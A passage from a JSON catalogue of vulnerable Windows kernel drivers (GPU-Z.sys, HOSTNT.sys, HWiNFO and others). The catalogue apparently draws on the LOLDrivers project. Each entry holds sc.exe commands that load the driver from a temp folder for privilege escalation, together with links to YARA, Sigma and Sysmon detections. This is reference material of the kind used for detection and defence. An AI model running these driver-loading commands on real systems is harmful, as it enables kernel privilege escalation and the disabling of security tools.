    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Utilized in RealBlindingEDR. ",
    "execution": {
      "template": "sc.exe create GPU-Z.sys binPath=C:\\windows\\temp\\GPU-Z.sys type=kernel && sc.exe start GPU-Z.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-gpu-z",
    "install": [
      {
        "method": "custom",
        "description": "Load GPU-Z.sys kernel driver",
        "commands": [
          "sc.exe create GPU-Z.sys binPath=C:\\windows\\temp\\GPU-Z.sys type=kernel && sc.exe start GPU-Z.sys"
        ]
      }
    ],
    "name": "GPU-Z.sys",
    "namespace": "windows:kernel:gpu-z",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/myzxcg/RealBlindingEDR/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GtcKmdfBssys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GtcKmdfBssys.sys type=kernel && sc.exe start GtcKmdfBssys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GtcKmdfBs.sys\"\n\n# GtcKmdfBs.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gtckmdfbs.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create GtcKmdfBssys binPath= C:\\windows\\temp\\GtcKmdfBssys.sys type=kernel && sc.exe start GtcKmdfBssys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-gtckmdfbs",
    "install": [
      {
        "method": "custom",
        "description": "Load GtcKmdfBs.sys kernel driver",
        "commands": [
          "sc.exe create GtcKmdfBssys binPath= C:\\windows\\temp\\GtcKmdfBssys.sys type=kernel && sc.exe start GtcKmdfBssys"
        ]
      }
    ],
    "name": "GtcKmdfBs.sys",
    "namespace": "windows:kernel:gtckmdfbs",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GVCIDrv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GVCIDrv64.sys type=kernel && sc.exe start GVCIDrv64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GVCIDrv64.sys\"\n\n# GVCIDrv64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gvcidrv64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create GVCIDrv64.sys binPath=C:\\windows\\temp\\GVCIDrv64.sys type=kernel && sc.exe start GVCIDrv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-gvcidrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load GVCIDrv64.sys kernel driver",
        "commands": [
          "sc.exe create GVCIDrv64.sys binPath=C:\\windows\\temp\\GVCIDrv64.sys type=kernel && sc.exe start GVCIDrv64.sys"
        ]
      }
    ],
    "name": "GVCIDrv64.sys",
    "namespace": "windows:kernel:gvcidrv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HardwareMon-x86 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HardwareMon-x86.sys type=kernel && sc.exe start HardwareMon-x86\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HardwareMon-x86.sys\"\n\n# HardwareMon-x86.sys\n\nHardwareMon-x86.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hardwaremon-x86.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "HardwareMon-x86.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create HardwareMon-x86 binPath=C:\\windows\\temp\\HardwareMon-x86.sys type=kernel && sc.exe start HardwareMon-x86",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-hardwaremon-x86",
    "install": [
      {
        "method": "custom",
        "description": "Load HardwareMon-x86.sys kernel driver",
        "commands": [
          "sc.exe create HardwareMon-x86 binPath=C:\\windows\\temp\\HardwareMon-x86.sys type=kernel && sc.exe start HardwareMon-x86"
        ]
      }
    ],
    "name": "HardwareMon-x86.sys",
    "namespace": "windows:kernel:hardwaremon-x86",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HOSTNT.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HOSTNT.sys type=kernel && sc.exe start HOSTNT.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HOSTNT.sys\"\n\n# HOSTNT.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hostnt.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/07b6d69bafcfd767f1b63a490a8843c3bb1f8e1bbea56176109b5743c8f7d357.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create HOSTNT.sys binPath=C:\\windows\\temp\\HOSTNT.sys type=kernel && sc.exe start HOSTNT.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-hostnt",
    "install": [
      {
        "method": "custom",
        "description": "Load HOSTNT.sys kernel driver",
        "commands": [
          "sc.exe create HOSTNT.sys binPath=C:\\windows\\temp\\HOSTNT.sys type=kernel && sc.exe start HOSTNT.sys"
        ]
      }
    ],
    "name": "HOSTNT.sys",
    "namespace": "windows:kernel:hostnt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create hp64vision binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\hp64vision.sys type=kernel && sc.exe start hp64vision\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver hp64vision.sys\"\n\n# hp64vision.sys\n\nhp64vision.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hp64vision.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "hp64vision.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create hp64vision binPath=C:\\windows\\temp\\hp64vision.sys type=kernel && sc.exe start hp64vision",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-hp64vision",
    "install": [
      {
        "method": "custom",
        "description": "Load hp64vision.sys kernel driver",
        "commands": [
          "sc.exe create hp64vision binPath=C:\\windows\\temp\\hp64vision.sys type=kernel && sc.exe start hp64vision"
        ]
      }
    ],
    "name": "hp64vision.sys",
    "namespace": "windows:kernel:hp64vision",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HpPortIox64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HpPortIox64.sys     type=kernel && sc.exe start HpPortIox64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HpPortIox64.sys\"\n\n# HpPortIox64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-hpportiox64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create HpPortIox64.sys binPath=C:\\windows\\temp\\HpPortIox64.sys     type=kernel && sc.exe start HpPortIox64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-hpportiox64",
    "install": [
      {
        "method": "custom",
        "description": "Load HpPortIox64.sys kernel driver",
        "commands": [
          "sc.exe create HpPortIox64.sys binPath=C:\\windows\\temp\\HpPortIox64.sys     type=kernel && sc.exe start HpPortIox64.sys"
        ]
      }
    ],
    "name": "HpPortIox64.sys",
    "namespace": "windows:kernel:hpportiox64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HW.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HW.sys type=kernel && sc.exe start HW.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HW.sys\"\n\n# HW.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hw.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create HW.sys binPath=C:\\windows\\temp\\HW.sys type=kernel && sc.exe start HW.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-hw",
    "install": [
      {
        "method": "custom",
        "description": "Load HW.sys kernel driver",
        "commands": [
          "sc.exe create HW.sys binPath=C:\\windows\\temp\\HW.sys type=kernel && sc.exe start HW.sys"
        ]
      }
    ],
    "name": "HW.sys",
    "namespace": "windows:kernel:hw",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HWAuidoOs2Ec binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HWAuidoOs2Ec.sys type=kernel && sc.exe start HWAuidoOs2Ec\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HWAuidoOs2Ec.sys\"\n\n# HWAuidoOs2Ec.sys\n\nHWAuidoOs2Ec.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hwauidoos2ec.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "HWAuidoOs2Ec.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create HWAuidoOs2Ec binPath=C:\\windows\\temp\\HWAuidoOs2Ec.sys type=kernel && sc.exe start HWAuidoOs2Ec",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-hwauidoos2ec",
    "install": [
      {
        "method": "custom",
        "description": "Load HWAuidoOs2Ec.sys kernel driver",
        "commands": [
          "sc.exe create HWAuidoOs2Ec binPath=C:\\windows\\temp\\HWAuidoOs2Ec.sys type=kernel && sc.exe start HWAuidoOs2Ec"
        ]
      }
    ],
    "name": "HWAuidoOs2Ec.sys",
    "namespace": "windows:kernel:hwauidoos2ec",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create hwdetectngsys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\hwdetectngsys.sys type=kernel && sc.exe start hwdetectngsys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver hwdetectng.sys\"\n\n# hwdetectng.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hwdetectng.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create hwdetectngsys binPath= C:\\windows\\temp\\hwdetectngsys.sys type=kernel && sc.exe start hwdetectngsys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-hwdetectng",
    "install": [
      {
        "method": "custom",
        "description": "Load hwdetectng.sys kernel driver",
        "commands": [
          "sc.exe create hwdetectngsys binPath= C:\\windows\\temp\\hwdetectngsys.sys type=kernel && sc.exe start hwdetectngsys"
        ]
      }
    ],
    "name": "hwdetectng.sys",
    "namespace": "windows:kernel:hwdetectng",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HWiNFO32.SYS binPath=C:\\\\windows\\\\temp\\\\HWiNFO32.SYS type=kernel && sc.exe start HWiNFO32.SYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HWiNFO32.SYS\"\n\n# HWiNFO32.SYS\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hwinfo32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-hwinfo32",
    "name": "HWiNFO32.SYS",
    "namespace": "windows:kernel:hwinfo32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HWiNFO64I.SYS binPath=C:\\\\windows\\\\temp\\\\HWiNFO64I.SYS type=kernel && sc.exe start HWiNFO64I.SYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HWiNFO64I.SYS\"\n\n# HWiNFO64I.SYS\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hwinfo64i.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-hwinfo64i",
    "name": "HWiNFO64I.SYS",
    "namespace": "windows:kernel:hwinfo64i",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create HwOs2Ec10x64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\HwOs2Ec10x64.sys     type=kernel && sc.exe start HwOs2Ec10x64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver HwOs2Ec10x64.sys\"\n\n# HwOs2Ec10x64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-hwos2ec10x64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
